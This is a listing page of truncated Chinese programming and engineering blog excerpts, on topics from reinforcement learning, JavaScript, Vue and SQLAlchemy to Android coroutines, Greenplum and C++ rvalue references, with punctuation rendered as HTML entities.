基于模型的強化學習 強化學習(RL)旨在讓智能體通過與環境互動來學習最優策略,從而最大化累積獎勵。傳統的強化學習方法如Q-learning、策略梯度等,通過大量的試錯來學習值函數或策略,樣本效率較低。而基于模型的強化學習(MBRL)則利用對環境的預測模型來加速學習過程,大大提高了…

參數的本質:詳解 JavaScript 函數的參數

文章導讀&#xff1a;AI 輔助學習前端&#xff0c;包含入門、進階、高級部分前端系列內容&#xff0c;當前是 JavaScript 的部分&#xff0c;瑤琴會持續更新&#xff0c;適合零基礎的朋友&#xff0c;已有前端工作經驗的可以不看&#xff0c;也可以當作基礎知識回顧。 上篇文章…

地理信息系統(GIS)軟件開發

地理信息系統&#xff08;GIS&#xff09;軟件開發是一項復雜且系統性很強的工程&#xff0c;涉及空間數據的采集、管理、分析和展示。以下是一個典型的GIS軟件開發流程&#xff0c;包括各個步驟的詳細說明。北京木奇移動技術有限公司&#xff0c;專業的軟件外包開發公司&#…

面向對象------多態

1.多態的定義 通俗來說&#xff0c;當同一種行為或者事情發生在不同的對象上&#xff0c;這些行為或者事情最終得到的結果不同。 注意&#xff1a;多態要發生在繼承的基礎上。 例如&#xff1a;彩色打印機和黑白打印機。 彩色打印機和黑白打印機是不同的對象&#xff0c;但…

詳細分析Element中的MessageBox基本知識(附Demo)

目錄 前言1. 基本知識2. Demo2.1 確認框2.2 警告框2.3 對話框 3. this.$confirm 前言 詳細知識推薦閱讀&#xff1a;詳細分析Element Plus中的ElMessageBox彈窗用法&#xff08;附Demo及模版&#xff09; MessageBox則常用于Vue2 1. 基本知識 MessageBox 是 Element UI 提供…

Liunx學習隨筆

Linux學習隨筆 一.前期準備1.安裝Vmware Workstation軟件2.下載linux鏡像3.安裝操作系統 夕陽無限好&#xff0c;只是近黃昏&#xff0c;時隔一年&#xff0c;重新提筆 沒有比腳更遠的路&#xff0c;沒有比人更高的山 一.前期準備 1.安裝Vmware Workstation軟件 下載地址&am…

加載頁面 跳轉 新頁面 vue

通常&#xff0c;我們點頁面上的詳情&#xff0c;或者編輯&#xff0c;需要加載一個新的頁面出來。 vue中加載頁面的方法&#xff1a; 在父頁面中&#xff08;通常是某個模塊目錄下的index.vue&#xff09;&#xff0c;先寫這行代碼&#xff1a; import AddEditForm from ./…

南京觀海微電子----升壓和降壓模塊電路解析

(一)升壓模塊 1. 如果是交流電壓升壓&#xff0c;那非常簡單&#xff0c;只要選擇變比合適的變壓器就行(1:3和1:4.17); 2. 如果是直流電壓升壓&#xff0c;從12v升到36v也很容易&#xff0c;可選擇用的開關穩壓器很多&#xff0c;例如 :Cs5171.Cs5172.Cs5173.Cs5174.Mc33063.…

SQLAlchemy備忘

orm備忘 upsert&#xff0c;存在及更新&#xff0c;不存在則插入 from sqlalchemy.dialects.mysql import insertinsert_stmt insert(FileModule).values(file_pathpar_dict.file, module_keypar_dict.module_key,module_namepar_dict.module_name, project_idpar_dict.proj…

【調和級數】100321. 優質數對的總數 II

本文涉及知識點 調和級數 質數、最大公約數、菲蜀定理 LeetCode100321. 優質數對的總數 II 給你兩個整數數組 nums1 和 nums2&#xff0c;長度分別為 n 和 m。同時給你一個正整數 k。 如果 nums1[i] 可以被 nums2[j] * k 整除&#xff0c;則稱數對 (i, j) 為 優質數對&#…

[Android]在后臺線程執行耗時操作,然后在主線程更新UI

1.Coroutines&#xff08;官方推薦&#xff09; Coroutines 提供了一種輕量級的線程管理方式&#xff0c;使得在后臺線程執行任務和在主線程更新 UI 變得簡單。以下是如何在 Kotlin 中使用 Coroutines 來處理耗時邏輯并更新 UI 的步驟&#xff1a; 添加 Coroutines 依賴: 首…

數據結構·一篇搞定隊列!

hello&#xff0c;大家好啊&#xff0c;肖恩又拖更了&#xff0c;你們聽我狡辯&#xff0c;前段時間有期中考試&#xff0c;so我就沒什么時間寫這個&#xff0c;在這給大家道個歉&#x1f62d;&#x1f62d;&#x1f62d; 我后面一定盡力不拖更 那么接下來&#xff0c;我們來看…

Greenplum使用hbase外部表

概述 GP可以通過pxf協議上的hbase外表功能&#xff0c; 在數據庫中創建外部表&#xff0c;映射hbase table&#xff0c;以直接在gp中訪問 hbase數據&#xff0c;方便將hbase的查詢結果集保留在gp中 hbase端準備 HBase基礎概念&#xff1a; ?HBase 列包含兩個組件&#xff1…

粒子輻照環境中相機鏡頭防護及LabVIEW圖像處理注意事項

在粒子輻照環境測試電路板性能的實驗中&#xff0c;需要對相機鏡頭進行有效防護&#xff0c;同時利用LabVIEW進行圖像識別和處理。本文將討論相機鏡頭防護的關鍵因素和LabVIEW處理過程中的注意事項&#xff0c;包括防輻射材料選擇、輻射屏蔽措施、散熱管理、空間布局及LabVIEW軟…

c++11:左值引用和右值引用《全家桶》

總結一下C11中涉及到左值引用和右值引用的場景。 1 左值引用和右值引用的區別 左值引用 定義&#xff1a;對左值的引用。目的是避免內存拷貝&#xff0c;類似c中的指針,兩個場景&#xff1a;函數傳參、函數返回值。 右值引用 定義&#xff1a;對右值的引用。兩個場景&#…